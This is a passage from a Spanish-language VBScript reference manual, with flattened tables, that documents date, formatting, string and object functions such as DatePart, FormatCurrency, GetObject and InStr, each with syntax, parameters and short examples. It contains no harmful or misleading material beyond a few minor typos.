Día del año
d
Día
w
Día de la semana
ww
Semana del año
h
Hora
n
Minuto
s
Segundos
El argumento primerdíasemana puede tener los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar la configuración de API NLS.
vbSunday
1
Domingo (predeterminado)
vbMonday
2
Lunes
vbTuesday
3
Martes
vbWednesday
4
Miércoles
vbThursday
5
Jueves
vbFriday
6
Viernes
vbSaturday
7
Sábado
El argumento primerasemanaaño puede tener los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar configuración de API NLS.
vbFirstJan1
1
Comienza con la semana del 1 de enero(predeterminado).
vbFirstFourDays
2
Comienza con la semana que tiene al menos cuatro días en el nuevo año.
vbFirstFullWeek
3
Comienza con la primera semana completa del nuevo año.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
24
Puede usar la función DateDiff para determinar cuántos intervalos de tiempo especificados existen entre dos fecha. Por ejemplo, puede usar DateDiff para calcular el número de días que existen entre dos fechas o el número de semanas que existen entre la fecha actual y el final del año. Para calcular el número de días que existen entre fecha1 y fecha2, puede usar Día del año ("y") o Día ("d"). Cuando intervaloes igual a Día de la semana ("w"), DateDiff devuelve el número de semanas que existen entre dos fechas. Si fecha1 es lunes, DateDiff cuenta cuántos lunes hay hasta fecha2. Cuenta fecha2 pero no fecha1. Sin embargo, si intervalo es Semana ("ww"), la función DateDiff devuelve el número de semanas de calendario que existen entre las dos fechas. Cuenta cuántos domingos hay entre fecha1 y fecha2. DateDiff cuenta fecha2 si es domingo; pero no cuenta fecha1, aunque sea domingo. Si fecha1 hace referencia a un punto posterior en el tiempo que fecha2, la función DateDiff devuelve un número negativo. El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww". Si fecha1 o fecha2 es un literal de fecha, el año especificado se convierte en una parte permanente de la fecha. Sin embargo, si fecha1 o fecha2 se encierra entre comillas (" ") y omite el año, el año actual se inserta en su código cada vez que se evalúa la expresión fecha1 o fecha2. Esto hace posible escribir código que se puede usar en distintos años. Al comparar el 31 de diciembre con el 1 de enero del año inmediatamente posterior, DateDiff para Año ("yyyy") devuelve 1 aunque sólo haya transcurrido un año. El siguiente ejemplo usa la función DateDiff para mostrar el número de días que existen entre una fecha especificada y la fecha actual: Function DiferenciaEntreFechas(laFecha) DiferenciaEntreFechas = "Días desde hoy: " & DateDiff("d", Now, laFecha) End Function
Función DatePart Descripción Devuelve la parte especificada de una fecha determinada.
Sintaxis DatePart(intervalo, fecha[, primerdíasemana[, primerasemanaaño]]) La sintaxis de la función DatePart tiene las siguientes partes: Parte
Descripción
intervalo
Requerido. Expresión de cadena que es el intervalo de tiempo que desea devolver. Consulte la sección Valores para saber cuáles son los valores permitidos.
fecha
Requerido. Expresión de fecha que desea evaluar.
primerdíasemana
Opcional. Constante que especifica el día de la semana. Si no se especifica, se asume Domingo. Consulte la sección Valores para saber cuáles son los valores permitidos.
primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento intervalo puede tener los siguientes valores:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
25
Valor
Descripción
yyyy
Año
q
Trimestre
m
Mes
y
Día del año
d
Día
w
Día de la semana
ww
Semana del año
h
Hora
n
Minuto
s
Segundo
El argumento primerdíasemana puede tener los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar configuración de API NLS.
vbSunday
1
Domingo (predeterminado)
vbMonday
2
Lunes
vbTuesday
3
Martes
vbWednesday
4
Miércoles
vbThursday
5
Jueves
vbFriday
6
Viernes
vbSaturday
7
Sábado
El argumento primerasemanaaño puede tener los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar configuración de API NLS.
vbFirstJan1
1
Comienza con la semana del 1 de enero (predeterminado).
vbFirstFourDays
2
Comienza con la semana que tiene al menos cuatro días en el nuevo año.
vbFirstFullWeek
3
Comienza con la primera semana completa del nuevo año.
Comentarios Puede usar la función DatePart para evaluar una fecha y devolver un intervalo de tiempo específico. Por ejemplo, puede usar DatePart para calcular el día de la semana o la hora actual. El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww". Si fecha es un literal de fecha, el año especificado se convierte en una parte permanente de la fecha. Sin embargi, si fecha está encerrada entre comillas (" ") y omite el año, se inserta el año actual en el código cada vez que se evalúa la expresión fecha. Esto permite escribir código que se puede usar en distintos años.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
26
Este ejemplo recibe una fecha y, con la función DatePart, muestra el trimestre del año en el que se produce. Function ObtenerTrimestre(laFecha) ObtenerTrimestre = DatePart("q", laFecha) End Function
Función DateSerial Descripción Devuelve un valor Variant de subtipo Date para un año, mes y día específicos.
Sintaxis DateSerial(año, mes, día) La sintaxis de la función DateSerial tiene los siguientes argumentos: Parte
Descripción
año
Número entre 100 y 9999, inclusive, o una expresión numérica.
mes
Cualquier expresión numérica.
día
Cualquier expresión numérica.
Comentarios Para especificar una fecha, como el 31 de diciembre de 1991, el intervalo de números para cada argumento de DateSerial debe estar dentro del intervalo aceptado para la unidad; es decir, entre 1 y 31 para los días y entre 1 y 12 para los meses. Sin embargo, también puede especificar fechas relativas para cada argumento mediante cualquier expresión numérica que representa alguna cantidad de días, meses o años anteriores o posteriores a una fecha determinada. El siguiente ejemplo usa expresiones numéricas en lugar de números de fecha absolutos. Aquí, la función DateSerial devuelve una fecha que es el día anterior al primer día (1 – 1) de dos meses antes de agosto (8 – 2) de 10 años anteriores a 1990 (1990 – 10). En otras palabras, 31 de mayo de 1980. Dim MiFecha1, MiFecha2 MiFecha1 = DateSerial(1970, 1, 1) ' Devuelve 1 de enero de 1970. MiFecha2 = DateSerial(1990 - 10, 8 - 2, 1 - 1) ' Devuelve 31 de mayo de 1980. Para el argumento año, los valores comprendidos entre 0 y 99, ambos incluidos, se interpretan como los años 1900 a 1999. Para todos los demás argumentos año, use un año completo de cuatro dígitos (por ejemplo, 1800). Cuando cualquier argumento supera el intervalo aceptado para ese argumento, se incrementa a la siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 35 días, se evalúa como un mes y varios días, que dependen de la fecha del año en la que se aplique. Sin embargo, si cualquier argumento simple está fuera del intervalo comprendido entre -32,768 y 32,767, o si la fecha especificada por los tres argumentos, directamente o a través de la expresión, no está dentro del intervalo aceptable de fechas, se produce un error.
Función DateValue By KarlosVid(ÊÇ)
www.idat.byethost14.com
27
Descripción Devuelve un valor Variant del subtipo Date.
Sintaxis DateValue(fecha) Normalmente, el argumento fecha es una expresión de cadena que representa una fecha comprendida entre el 1 de enero del año 100 hasta el 31 de diciembre del año 9999. Sin embargo, fecha también puede ser cualquier expresión que pueda representar una fecha, una hora o ambos, en ese intervalo.
Comentarios Si el argumento fecha incluye información de hora, DateValue no la devuelve. Sin embargo, si fecha incluye información no válida de hora (como "89:98"), se produce un error. Si fecha es una cadena que sólo incluye números separados por separadores de fecha válidos, DateValue reconoce el orden para el día, mes y año según el formato de fecha corta que especificó para su sistema. DateValue también reconoce fechas no ambiguas que contiene nombre de meses, en formato largo o abreviado. Por ejemplo, además de reconocer 30/12/1991 y 30/12/91, DateValue también reconoce 30 de diciembre de 1991 y 30 dic de 1991. Si se omite la parte del año de fecha, DateValue usa el año actual de la fecha del sistema de su equipo. El siguiente ejemplo usa la función DateValue para convertir una cadena en una fecha. También puede usar literales de fecha para asignar una fecha directamente a una variable Variant, por ejemplo, MiFecha = #9/11/63#. Dim MiFecha MiFecha = DateValue("11 de septiembre de 1963")
' Devuelve una fecha.
Función Day Descripción Devuelve un número entero entre 1 y 31, ambos incluidos, que representa el día del mes.
Sintaxis Day(fecha) El argumento fecha es cualquier expresión que puede representar una fecha. Si fecha contiene Null, se devuelve Null. El siguiente ejemplo usa la función Day para obtener el día del mes a partir de una fecha especificada: Dim MiDia MiDia = Day("19 de octubre de 1962") ' MiDia contiene 19.
Función Eval Descripción Evalúa una expresión y devuelve el resultado.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
28
Sintaxis [resultado = ]Eval(expresión) La sintaxis de la función Eval consta de las siguientes partes: Parte
Descripción
resultado
Opcional. Variable a la que se asigna el valor devuelto. Si no se especifica el resultado, considere si utilizar la instrucción Execute en su lugar.
expresión Necesario. Una cadena que contenga cualquier expresión permitida de VBScript.
Observaciones En VBScript, x = y se puede interpretar de dos maneras. La primera es una instrucción de asignación, donde el valor de y se asigna a x. La segunda interpretación es como una expresión que prueba si x e y tienen el mismo valor. Si es así, el resultado es True; si no, el resultado es False. El método Eval siempre utiliza la segunda interpretación, mientras que la instrucción Execute siempre utiliza la primera.
Nota En Microsoft® JScript™, no hay confusión entre la asignación y la comparación porque el operador assignment (=) es diferente del operador de comparación (==). El ejemplo siguiente muestra la utilización de la función Eval: Sub AdivinaNúmero Dim Guess, RndNum RndNum = Int((100) * Rnd(1) + 1) Guess = CInt(InputBox("Escriba su estimación aproximada:",,0)) Do If Eval("Guess = RndNum") Then MsgBox "¡Enhorabuena! ¡Lo adivinó!" Exit Sub Else Adivina = CInt(InputBox("¡Lo siento! Inténtelo de nuevo.",,0)) End If Loop Until Guess = 0 End Sub
Función Exp Descripción Devuelve e (la base de los logaritmos naturales) elevado a una potencia.
Sintaxis Exp(número) El argumento número puede ser cualquier expresión numérica válida.
Comentarios Si el valor de número supera 709.782712893, se produce un error. La constante e aproximadamente igual a 2.718282.
Nota La función Exp complementa la acción de la función Log y a veces se le llama antilogaritmo El siguiente ejemplo usa la función Exp para devolver e elevado a una potencia:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
29
Dim MiAngulo, MiSenoH ' Define el ángulo en radianes. MiAngulo = 1.3 ' Calcula el seno hiperbólico. MiSenoH = (Exp(MiAngulo) - Exp(-1 * MiAngulo)) / 2
Función Filter Descripción Devuelve una matriz basada en cero que contiene un subconjunto de una matriz de cadena basada en un criterio de filtro especificado.
Sintaxis Filter(CadenasDeEntrada, Valor[, Incluir[, Comparación]]) La sintaxis de la función Filter tiene las siguientes partes: Parte
Descripción
CadenasDeEntrada Requerido. Matriz unidimensional de cadenas en la que se va a buscar. Valor
Requerido. Cadena que se va a buscar.
Incluir
Opcional. Valor de tipo Boolean que indica si se deben devolver subcadenas que incluyen o excluyen Valor. Si Incluir es True, Filter devuelve el subconjunto de la matriz que contiene Valor como subcadena. Si Incluires False, Filter devuelve el subconjunto de la matriz que no contiene Valor como subcadena.
Comparación
Opcional. Valor numérico que indica el tipo de comparación de cadena que se debe usar. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento Comparación puede tener los siguientes valores: Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Comentarios Si no se encuentran coincidencias de Valor dentro de CadenasDeEntrada, Filter devuelve una matriz vacía. Se produce un error si CadenasDeEntrada es Null o si no es una matriz unidimensional. La matriz devuelta por la función Filter sólo tiene los elementos necesarios para contener el número de elementos encontrados. El siguiente ejemplo usa la función Filter para devolver la matriz que contiene el criterio de búsqueda "Lun": Dim MiIndice Dim MiMatriz (3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiIndice = Filter(MiMatriz, "Lun") ' MiIndice(0) contiene "Lunes"
By KarlosVid(ÊÇ)
www.idat.byethost14.com
30
Funciones Int y Fix Descripción Devuelve la parte entera de un número.
Sintaxis Int(número) Fix(número) El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se devuelve Null.
Comentarios Int y Fix quitan la parte fraccional de número y devuelven el valor entero resultante. La diferencia entre Int y Fix es que si número es negativo, Int devuelve el primer entero negativo menor o igual a número, mientras que Fix devuelve el primer entero negativo mayor o igual a número. Por ejemplo, Int convierte -8.4 a -9, y Fix convierte -8.4 a -8. Fix(número) es equivalente a: Sgn(número) * Int(Abs(número)) Los siguientes ejemplo muestran cómo devuelven partes enteras de números las funciones Int y Fix: MiNumero = Int(99.8) ' Devuelve 99. MiNumero = Fix(99.2) ' Devuelve 99. MiNumero = Int(-99.8) ' Devuelve -100. MiNumero = Fix(-99.8) ' Devuelve -99. MiNumero = Int(-99.2) ' Devuelve -100. MiNumero = Fix(-99.2) ' Devuelve -99.
Función FormatCurrency Descripción Devuelve una expresión con formato como una valor de moneda, que usa el símbolo de moneda definido en el panel de control del sistema.
Sintaxis FormatCurrency(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]]) La sintaxis de la función FormatCurrency tiene las siguientes partes: Parte
Descripción
Expresión
Requerido. Expresión a la que se va a aplicar el formato.
NúmDígitosDespuésDeDecimal
Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
31
IncluirDígitoInicio
Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.
UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos. GrupoDígitos
Opcional. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en la configuración regional del equipo. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante
Valor
Descripción
TristateTrue
-1
True
TristateFalse
0
False
TristateUseDefault
-2
Usa la configuración regional del equipo.
Comentarios Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del equipo. La posición del signo de moneda relativa al valor de moneda se determina con la configuración regional del sistema.
Nota Toda la información de configuración se obtiene de la ficha Moneda de Configuración regional, excepto el cero inicial que se obtiene de la ficha Número. El siguiente ejemplo usa la función FormatCurrency para dar formato de moneda a la expresión y asignarlo a MiMoneda: Dim MiMoneda MiMoneda = FormatCurrency(1000) ' MiMoneda contiene $1000.00.
Función FormatDateTime Descripción Devuelve una expresión con formato de fecha u hora.
Sintaxis FormatDateTime(Fecha[, FormatoConNombre]) La sintaxis de la función FormatDateTime tiene las siguientes partes: Parte
Descripción
Fecha
Requerido. Expresión de fecha a la que se va a aplicar el formato.
FormatoConNombre Opcional. Valor numérico que indica el formato de fecha y hora usado. Si se omite, se usa vbGeneralDate.
Valores By KarlosVid(ÊÇ)
www.idat.byethost14.com
32
El argumento FormatoConNombre tiene los siguientes valores: Constante
Valor
Descripción
vbGeneralDate
0
Muestra una fecha o una hora. Si hay una parte que sea fecha, la muestra con formato de fecha corta. Si hay una parte que sea hora, la muestra con formato de hora largo. Si está presente, se muestran ambas partes.
vbLongDate
1
Muestra una fecha con el formato de fecha larga especificado en la configuración regional del equipo.
vbShortDate
2
Muestra una fecha con el formato de fecha corta especificado en la configuración regional del equipo.
vbLongTime
3
Muestra una hora con el formato de hora especificado en la configuración regional del equipo.
vbShortTime
4
Muestra una hora con el formato de 24 horas (hh:mm).
Comentarios El siguiente ejemplo usa la función FormatDateTime para dar formato de fecha larga a la expresión y asignarla a MiFechaHora: Function ObtenerFechaActual ' FormatDateTime da formato a Date como fecha larga. ObtenerFechaActual = FormatDateTime(Date, 1) End Function
Función FormatNumber Descripción Devuelve una expresión con formato de número.
Sintaxis FormatNumber(Expresión [,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]]) La sintaxis de la función FormatNumber tiene las siguientes partes: Parte
Descripción
Expresión
Requerido. Expresión a la que se va a aplicar formato.
NúmDígitosDespuésDeDecimal
Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.
IncluirDígitoInicio
Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.
UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos. GrupoDígitos
Opcional. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en el Panel de control. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores By KarlosVid(ÊÇ)
www.idat.byethost14.com
33
Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante
Valor
Descripción
TristateTrue
-1
True
TristateFalse
0
False
TristateUseDefault
-2
Usa la configuración regional del equipo.
Comentarios Cuando se omiten uno o más de los argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del equipo.
Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional. El siguiente ejemplo usa la función FormatNumber para dar formato a un número para que tenga cuatro lugares decimales: Function EjemploDeFormatNumber Dim MiAngulo, MiSecante, MiNumero MiAngulo = 1.3 ' Define un ángulo en radianes. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante. EjemploDeFormatNumber = FormatNumber(MiSecante,4) ' Da formato a MiSecante para que tenga cuatro lugares decimales. End Function
Función FormatPercent Descripción Devuelve una expresión con formato de porcentaje (multiplicada por 100) con una carácter % inicial.
Sintaxis FormatPercent(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]]) La sintaxis de la función FormatPercent tiene las siguientes partes: Parte
Descripción
Expresión
Requerido. Expresión a la que se va a aplicar formato.
NúmDígitosDespuésDeDecimal
Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.
IncluirDígitoInicio
Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.
UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos. GrupoDígitos
By KarlosVid(ÊÇ)
Opcional. Constante de tres estados que indica si se deben agrupar o no
www.idat.byethost14.com
34
los números con el delimitador de grupos especificado en el Panel de control. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante
Valor
Descripción
TristateTrue
-1
True
TristateFalse
0
False
TristateUseDefault
-2
Usa la configuración regional del equipo.
Comentarios Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del sistema.
Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional. El siguiente ejemplo usa la función FormatPercent para dar formato a una expresión como porcentaje: Dim MiPorcentaje MiPorcentaje = FormatPercent(2/32) ' MiPorcentaje contiene 6.25%.
Función GetObject Descripción Devuelve una referencia a un objeto de Automatización desde un archivo.
Sintaxis GetObject([nombrederuta] [, clase]) La sintaxis de la función GetObject tiene las siguientes partes: Parte
Descripción
nombrederuta Opcional; String. Ruta y nombre completos del archivo que contiene el objeto que desea recuperar. Si se omite nombrederuta, se requiere clase. clase
Opcional; String. Clase del objeto.
El argumento claseusa la sintaxis nombredeaplicación.tipodeobjeto y tiene las siguientes partes: Parte
Descripción
nombredeaplicación
Requerido; String. Nombre de la aplicación que proporciona el objeto.
tipodeobjeto
Requerido; String. Tipo o clase de objeto que desea crear.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
35
Use la función GetObject para tener acceso a un objeto de automatización desde un archivo y asignar el objeto a una variable de objeto. Use la instrucción Set para asignar el objeto devuelto por GetObject a la variable de objeto. Por ejemplo: Dim CADObject Set CADObject = GetObject("C:\CAD\SCHEMA.CAD") Cuando se ejecuta este código, se inicia la aplicación asociada con el nombre de ruta especificado y el objeto del archivo especificado se activa. Si nombrederuta es una cadena de longitud cero (""), GetObject devuelve una nueva instancia de objeto del tipo especificado. Si se omite el argumento nombrederuta, GetObject devuelve un objeto activo del tipo especificado. Si no existe ningún objeto del tipo especificado, se produce un error. Algunas aplicaciones le permiten activar parte de un archivo. Agregue un signo de admiración (!) al final del nombre del archivo y, a continuación, agregue una cadena que identifique la parte del archivo que desea activar. Para obtener información acerca de cómo crear esta cadena, consulte la documentación de la aplicación que creó el objeto. Por ejemplo, en una aplicación de dibujo podría tener varias capas de un dibujo almacenado en un archivo. Podría usar el siguiente código para activar una capa de un dibujo llamado SCHEMA.CAD: Set ObjetoCapa = GetObject("C:\CAD\SCHEMA.CAD!Layer3") Si no especifica la clase de objeto, la automatización determina la aplicación que debe iniciar el objeto para activarlo, basado en el nombre de archivo proporcionado. Sin embargo, es posible que algunos archivos admitan más de una clase de objeto. Por ejemplo, un dibujo puede admitir tres tipos de objeto distintos: un objeto Application, un objeto Drawing y un objeto Toolbar, y todos forman parte del mismo archivo. Para especificar qué objeto desea activar en un archivo, use el argumento opcional clase. Por ejemplo: Dim MiObjeto Set MiObjeto = GetObject("C:\DIBUJOS\EJEMPLO.DRW", "FIGMENT.DRAWING") En el ejemplo anterior, FIGMENT es el nombre de una aplicación de dibujo y DRAWING es uno de los tipos de objeto que admite. Una vez activado un objeto, se hace referencia a él en el código mediante la variable de objeto definida. En el ejemplo anterior, se tiene acceso a las propiedades y métodos del nuevo objeto con la variable de objeto MiObjeto. Por ejemplo: MiObjeto.Line 9, 90 MiObjeto.InsertText 9, 100, "Hola mundo." MiObjeto.SaveAs "C:\DIBUJOS\EJEMPLO.DRW"
Nota Use la función GetObject cuando hay una instancia actual del objeto o si desea crear el objeto con un archivo cargado. Si no hay una instancia actual y no desea iniciar el objeto con un archivo cargado, use la función CreateObject. Si un objeto se ha registrado como un objeto de una única instancia, sólo se crea una instancia del objeto, independientemente del número de veces que se ejecute CreateObject. Con un objeto de una única instancia, GetObject siempre devuelve la misma instancia cuando se llama con una sintaxis con cadena de longitud cero ("") y produce un error si se omite el argumento nombrederuta.
Función GetRef Descripción Devuelve una referencia a un procedimiento que se puede enlazar a un evento.
Sintaxis Set objeto.nombreEvento = GetRef(nombreProc) La sintaxis de la función GetRef consta de las siguientes partes: Parte
Descripción
objeto
Necesario. Nombre del objeto con el que se asocia el evento.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
36
evento
Necesario. Nombre del evento al que se va a enlazar la función.
nombreProc
Necesario. Cadena que contiene el nombre del procedimiento Sub o Function que se asocia con el evento.
Observaciones La función GetRef le permite conectar un procedimiento VBScript (Function o Sub) a cualquier evento disponible en sus páginas DHTML (de HTML dinámico). El modelo de objetos DHTML proporciona información acerca de qué eventos están disponibles para sus diversos objetos. En otros lenguajes de programación y de secuencias de comandos, se llama puntero de función a la funcionalidad que proporciona GetRef, es decir, se señala la dirección de un procedimiento que ejecutar cuando ocurre el evento especificado. El ejemplo siguiente muestra la utilización de la función GetRef: <SCRIPT LANGUAGE="VBScript"> Function PruebaGetRef() Dim Splash Splash = "PruebaGetRef Versión 1.0" & vbCrLf Splash = Splash & Chr(169) & " Organización 1998 " MsgBox Splash End Function Set Window.Onload = GetRef("PruebeGetRef")
Función Hex Descripción Devuelve una cadena que representa el valor hexadecimal de un número.
Sintaxis Hex(número) El argumento número es cualquier expresión válida.
Comentarios Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo. Si número es
Hex devuelve
Null
Null.
Empty
Cero (0).
Cualquier otro número
Hasta ocho caracteres hexadecimales.
Puede representar números hexadecimales directamente precediendo los números en el intervalo adecuado con &H. Por ejemplo, &H10 representa 16 decimal en notación hexadecimal. El siguiente ejemplo usa la función Hex para devolver el valor hexadecimal de un número: Dim MiHex MiHex = Hex(5) ' Devuelve 5. MiHex = Hex(10) ' Devuelve A.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
37
MiHex = Hex(459) ' Devuelve 1CB.
Función Tour Descripción Devuelve un número entero entre 0 y 23, ambos incluidos, que representa la hora del día.
Sintaxis Hour(hora) El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se devuelve Null. El siguiente ejemplo usa la función Hour para obtener la hora a partir de la hora actual: Dim MiHoraCompleta, MiHora MiHoraCompleta = Now MiHora = Hour(MiHoraCompleta) ' MiHora contiene el número ' que representa la hora actual.
Función InputBox Descripción Muestra una solicitud en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.
Sintaxis InputBox(solicitud[, título][, predeterminado][, posx][, posy][, archivodeayuda, contexto]) La sintaxis de la función InputBox tiene los siguientes argumentos: Parte
Descripción
solicitud
Expresión de cadena mostrada como mensaje en el cuadro de diálogo. La longitud máxima de solicitud es, aproximadamente, 1024 caracteres, dependiendo del ancho de los caracteres usados. Si solicitud consta de más de una línea, puede separar las líneas con un carácter de retorno de carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de retorno de carro y avance de línea (Chr(13) & Chr(10)) entre cada línea.
título
Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el nombre de la aplicación se muestra en la barra de título.
predeterminado Expresión de cadena en el cuadro de texto que aparece como respuesta predeterminada si no se proporciona ningún otro texto. Si omite predeterminado, el cuadro de texto se muestra vacío. posx
Expresión numérica que especifica, en twips, la distancia horizontal desde el borde izquierdo del cuadro de diálogo hasta el borde izquierdo de la pantalla. Si se omite posx, el cuadro de diálogo se centra horizontalmente.
posy
Expresión numérica que especifica, en twips, la distancia vertical desde el borde superior del cuadro de diálogo hasta el borde superior de la pantalla. Si se omite posy, el cuadro de diálogo se centra verticalmente, aproximadamente a la altura de un tercio de la pantalla.
archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe
By KarlosVid(ÊÇ)
www.idat.byethost14.com
38
proporcionar contexto. contexto
Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar archivodeayuda.
Comentarios Cuando se proporcionan archivodeayuda y contexto, se agrega, automáticamente, un botón de Ayuda al cuadro de diálogo. Si el usuario hace clic en Aceptar o si presiona ENTRAR, la función InputBox devuelve lo que esté en el cuadro de texto. Si el usuario hace clic en Cancelar, la función devuelve una cadena de longitud cero (""). El siguiente ejemplo usa la función InputBox para mostrar un cuadro de entrada y asigna la cadena a la variable Entrada: Dim Entrada Entrada = InputBox("Escriba su nombre") MsgBox ("Escribió: " & Entrada)
Función InStr Descripción Devuelve la posición de la primera coincidencia de una cadena dentro de otra.
Sintaxis InStr([inicio, ]cadena1, cadena2[, comparación]) La sintaxis de la función InStr tiene los siguientes argumentos: Parte
Descripción
inicio
Opcional. Expresión numéricaque establece la posición inicial para cada búsqueda. Si se omite, la búsqueda comienza en la posición del primer carácter. Si inicio contiene Null, se produce un erro. El argumento inicio se requiere si se especifica comparación.
cadena1
Requerido. Expresión de cadena en la que se busca.
cadena2
Requerido. Expresión de cadena buscada.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, se realiza una comparación binaria.
Valores El argumento comparación puede tener los siguientes valores: Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Valores devueltos By KarlosVid(ÊÇ)
www.idat.byethost14.com
39
La función InStr devuelve los siguientes valores: Si
InStr devuelve
cadena1 es de longitud cero
0
cadena1 es Null
Null
cadena2 es de longitud cero
inicio
cadena2 es Null
Null
cadena2 no se encuentra
0
cadena2 se encuentra dentro de cadena1
Posición en la que se encuentra la coincidencia
inicio > Len(cadena2)
0
Comentarios Los siguientes ejemplos usan InStr para buscar una cadena: Dim CadenaBusqueda, CaracterBusqueda, MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se busca. CaracterBusqueda = "P" ' Buscar "P". MiPos = Instr(4, CadenaBusqueda, CaracterBusqueda, 1) ' Una comparación de texto que comienza en la ' posición 4. Devuelve 6. MiPos = Instr(1, CadenaBusqueda, CaracterBusqueda, 0) ' Una comparación binaria que comienza en la ' posición 1. Devuelve 9. MiPos = Instr(CadenaBusqueda, CaracterBusqueda) ' Devuelve 9. ' Una comparación es binaria de forma predeterminada ' (se omite el último argumento). Devuelve 9. MiPos = Instr(1, CadenaBusqueda, "W") ' Una comparación binaria empieza en la posición 1. ' Devuelve 0 ("W" no se encuentra). Nota La función InStrB se usa con los datos de tipo Byte contenidos en una cadena. En lugar de devolver la posición del carácter de la primera coincidencia de una cadena dentro de otra, InStrB devuelve la posición del byte.
Función InStrRev Descripción Devuelve la posición de una coincidencia de una cadena en otra, desde el final de la cadena.
Sintaxis InStrRev(cadena1, cadena2[, inicio[, comparación]]) La sintaxis de la función InStrRev tiene las siguientes partes: Parte
Descripción
cadena1
Requerido. Expresión de cadena en la que se busca.
cadena2
Requerido. Expresión de cadena que se busca.
inicio
Opcional. Expresión numérica que establece el punto inicial de cada búsqueda. Si se omite, se usa 1, que significa que la búsqueda comienza en la posición del último carácter. Si inicio contiene Null, se produce un error.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
40
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Si se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento comparación puede tener los siguientes valores: Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Valores devueltos InStrRev devuelve los siguientes valores: Si
InStrRev devuelve
